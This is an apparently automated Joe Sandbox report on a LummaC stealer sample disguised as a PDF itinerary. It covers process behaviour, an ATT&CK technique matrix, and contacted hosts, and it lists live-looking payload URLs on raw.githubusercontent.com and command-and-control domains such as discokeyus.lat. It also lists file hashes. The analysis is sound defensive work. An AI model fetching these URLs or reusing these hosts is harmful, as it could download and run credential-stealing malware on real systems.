Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	31 Security Software Discovery	SMB/Windows Admin Shares	2 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	13 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Navan - Itinerary.pdf.scr.exe	11%	Virustotal		Browse
Navan - Itinerary.pdf.scr.exe	13%	ReversingLabs

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
raw.githubusercontent.com	185.199.110.133	true	false	high
discokeyus.lat	172.67.197.170	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
stem-mellows.cyou	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
necklacebudi.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
https://discokeyus.lat/api	false	high
grannyejh.lat	false	high
aspecteirs.lat	false	high
energyaffai.lat	false	high
discokeyus.lat	false	high
https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiion	false	high
https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/NavanItinerary.pdf	false	high
stem-mellows.cyou	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.10.dr	false	high
https://www.adobe.co	ReaderMessages.9.dr	false	high
https://discokeyus.lat/yv	RegSvcs.exe, 0000000D.00000002.1636492005.0000000001233000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiionY	Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C83000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/p	RegSvcs.exe, 0000000D.00000002.1636367348.00000000011D9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://raw.githubusercontent.com/u	Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C63000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/	RegSvcs.exe, 0000000D.00000002.1636367348.00000000011D9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.1636492005.0000000001233000.00000004.00000020.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com/4	Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C63000.00000004.00000020.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiion=	Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C83000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com/6	Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C63000.00000004.00000020.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiion8z	Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C83000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com/	Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C63000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.199.110.133	raw.githubusercontent.com	Netherlands		54113	FASTLYUS	false
172.67.197.170	discokeyus.lat	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579293
Start date and time:	2024-12-21 13:17:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Navan - Itinerary.pdf.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/46@10/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 72% Number of executed functions: 26 Number of non-executed functions: 75
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.137, 50.16.47.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 162.159.61.3, 172.64.41.3, 199.232.210.172, 23.192.153.142, 23.32.239.56, 2.19.198.27, 23.32.239.9, 2.19.198.16, 13.107.246.63, 4.175.87.197, 23.218.208.109, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, geo2.adobe.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:18:23	API Interceptor	8x Sleep call for process: RegSvcs.exe modified
09:00:21	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.199.110.133	sys_upd.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_menu..ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_phshop..ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	xK44OOt7vD.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt
172.67.197.170	BigProject.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	BigProject.exe	Get hash	malicious	LummaC	Browse	185.199.110.133
	Set-up!.exe	Get hash	malicious	LummaC	Browse	185.199.108.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.108.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.111.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.108.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.110.133
	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.199.110.133
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.199.109.133
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.199.108.133
bg.microsoft.map.fastly.net	HX Design.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	199.232.210.172
	1734733987ee1a8345da831d1ecbca38d8a0fdc4854f6779b69f21209db7e0a6d5a2d91fd2237.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172
	1734732186278e5c87d1a316617c1125acd5c32aedeebfd021b1e761647265ea7426c527bd565.dat-decoded.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	199.232.214.172
	Statements.pdf	Get hash	malicious	WinSearchAbuse	Browse	199.232.210.172
	INVOICE_2279_from_RealEyes Digital LLC (1).pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	199.232.214.172
	MS100384UTC.xls	Get hash	malicious	Unknown	Browse	199.232.210.172
	SWIFT.xls	Get hash	malicious	Unknown	Browse	199.232.214.172
	tmp.zip	Get hash	malicious	Unknown	Browse	199.232.210.172
discokeyus.lat	BigProject.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	Set-up!.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	172.67.197.170
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	gf3yK6i4OX.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	0WO49yZcDA.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	BigProject.exe	Get hash	malicious	LummaC	Browse	185.199.110.133
	Set-up!.exe	Get hash	malicious	LummaC	Browse	185.199.108.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.108.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.111.133
	ORDER-241221K6890PF57682456POC7893789097393.j.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.108.133
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.199.110.133
	https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/	Get hash	malicious	Unknown	Browse	151.101.66.137
	YearEnd_Benefit_Bonus_Payout__Details__ChasChas.html	Get hash	malicious	Unknown	Browse	151.101.66.137
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.110.133
CLOUDFLARENETUS	BigProject.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	setup.msi	Get hash	malicious	Unknown	Browse	172.67.164.25
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.18.185
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.43.127
	jqplot.hta	Get hash	malicious	Unknown	Browse	104.21.90.205
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.42.70
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	Full-Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.179.135

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	BigProject.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	jqplot.hta	Get hash	malicious	Unknown	Browse	172.67.197.170
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.197.170
	Full-Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.197.170
	Set-up!.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
37f463bf4616ecd445d4a1937da06e19	BigProject.exe	Get hash	malicious	LummaC	Browse	185.199.110.133
	setup.msi	Get hash	malicious	Unknown	Browse	185.199.110.133
	jqplot.hta	Get hash	malicious	Unknown	Browse	185.199.110.133
	Set-up!.exe	Get hash	malicious	LummaC	Browse	185.199.110.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.199.110.133
	Oggq2dY6kx.exe	Get hash	malicious	Azorult	Browse	185.199.110.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.110.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.110.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.199.110.133
	Setup.msi	Get hash	malicious	Unknown	Browse	185.199.110.133

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.215687238285235
Encrypted:	false
SSDEEP:	6:BLd+q2PcNwi2nKuAl9OmbnIFUt8wL3jZmw+wL3TVkwOcNwi2nKuAl9OmbjLJ:BsvLZHAahFUt8wn/+w154ZHAaSJ
MD5:	FE559437D7FF459BAD39ACAF86446CC5
SHA1:	ABF9DB0320ACEF80B158E03311846CFEAA9EAB69
SHA-256:	346B1AAF9AB8FA281FDF2F51D12A6081A5759F077C4839AC68621A1B70AA9633
SHA-512:	BE4B5BCA49D305BCF46E2DED160191613EC265450B338B0B9F7362C43F8E629EEB57E4ED6424372995470B8D0382E45DB931A8C5F9410192E053A4C0FF43D7BB
Malicious:	false
Reputation:	low
Preview:	2024/12/21-07:18:17.480 1e98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/21-07:18:17.482 1e98 Recovering log #3.2024/12/21-07:18:17.482 1e98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.215687238285235
Encrypted:	false
SSDEEP:	6:BLd+q2PcNwi2nKuAl9OmbnIFUt8wL3jZmw+wL3TVkwOcNwi2nKuAl9OmbjLJ:BsvLZHAahFUt8wn/+w154ZHAaSJ
MD5:	FE559437D7FF459BAD39ACAF86446CC5
SHA1:	ABF9DB0320ACEF80B158E03311846CFEAA9EAB69
SHA-256:	346B1AAF9AB8FA281FDF2F51D12A6081A5759F077C4839AC68621A1B70AA9633
SHA-512:	BE4B5BCA49D305BCF46E2DED160191613EC265450B338B0B9F7362C43F8E629EEB57E4ED6424372995470B8D0382E45DB931A8C5F9410192E053A4C0FF43D7BB
Malicious:	false
Reputation:	low
Preview:	2024/12/21-07:18:17.480 1e98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/21-07:18:17.482 1e98 Recovering log #3.2024/12/21-07:18:17.482 1e98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.192927140922133
Encrypted:	false
SSDEEP:	6:BLrq2PcNwi2nKuAl9Ombzo2jMGIFUt8wLCLZZmw+wL3kwOcNwi2nKuAl9Ombzo23:BvvLZHAa8uFUt8wEZ/+w754ZHAa8RJ
MD5:	4DFA125250A501DA5A5F2460C4B83315
SHA1:	F239D4907191B780EB4044EFDEF1BBE1B781C465
SHA-256:	7EFB425DFA3B36B5AEC7B92C8501FB35A30035C918B475F861426C3BB0D8E3E9
SHA-512:	45636BBCBA667A07D3DF51E9C3CCF7246976BD79759484C3D590D41D072A35EE10B76B563377A1A053B6ADB26F77B9C48C863057398897CA1C49CF15F37A3B17
Malicious:	false
Reputation:	low
Preview:	2024/12/21-07:18:17.473 1ef0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/21-07:18:17.475 1ef0 Recovering log #3.2024/12/21-07:18:17.476 1ef0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.192927140922133
Encrypted:	false
SSDEEP:	6:BLrq2PcNwi2nKuAl9Ombzo2jMGIFUt8wLCLZZmw+wL3kwOcNwi2nKuAl9Ombzo23:BvvLZHAa8uFUt8wEZ/+w754ZHAa8RJ
MD5:	4DFA125250A501DA5A5F2460C4B83315
SHA1:	F239D4907191B780EB4044EFDEF1BBE1B781C465
SHA-256:	7EFB425DFA3B36B5AEC7B92C8501FB35A30035C918B475F861426C3BB0D8E3E9
SHA-512:	45636BBCBA667A07D3DF51E9C3CCF7246976BD79759484C3D590D41D072A35EE10B76B563377A1A053B6ADB26F77B9C48C863057398897CA1C49CF15F37A3B17
Malicious:	false
Reputation:	low
Preview:	2024/12/21-07:18:17.473 1ef0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/21-07:18:17.475 1ef0 Recovering log #3.2024/12/21-07:18:17.476 1ef0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.974792857895216
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqsWsBdOg2H5Rcaq3QYiubSpDyP7E4TX:Y2sRdsldMH5o3QYhbSpDa7n7
MD5:	B1684FC206AF7E05CB2E5A0F6628B1DB
SHA1:	B59538560FF28DFAC7384A6293D7F2BED22FAF2A
SHA-256:	216F0380704706A7336E49FA3965DC17A6E86BB9A1880425643D48D98731F2B3
SHA-512:	87DFF78B942A413D8241537A48747379AA86126E7DAD86D2CBDFEE425E150BF0F4CB9564A67E54683E48B49D6FABCBB6FD59EE57B8392C3087B74286C81BFB63
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379343509735098","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":670169},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b5a9ce74-f230-4109-b7bd-9657976775a4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.974792857895216
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqsWsBdOg2H5Rcaq3QYiubSpDyP7E4TX:Y2sRdsldMH5o3QYhbSpDa7n7
MD5:	B1684FC206AF7E05CB2E5A0F6628B1DB
SHA1:	B59538560FF28DFAC7384A6293D7F2BED22FAF2A
SHA-256:	216F0380704706A7336E49FA3965DC17A6E86BB9A1880425643D48D98731F2B3
SHA-512:	87DFF78B942A413D8241537A48747379AA86126E7DAD86D2CBDFEE425E150BF0F4CB9564A67E54683E48B49D6FABCBB6FD59EE57B8392C3087B74286C81BFB63
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379343509735098","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":670169},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2345427864474585
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP1RHE:CwNw1GHqPySfkcigoO3h28ytP1RHE
MD5:	BC57888DCE730F7DA4DCABB522244CE4
SHA1:	697545C123F73EAC767CB3B13C4F7AA5147E3584
SHA-256:	C5EF6272015D21DEDD66A96F25B5D87A14CAC27D36F8E9CC1C30A9E08567A9B7
SHA-512:	86C0EE49CA240DB040BA40DD185F6A4F142BDA1C2FAB02C231996B559BB9C43B1D82EBE0F3BD9DF66491103A9B285AEECFF03D7186D2A3F53C3A99A95EC71101
Malicious:	false
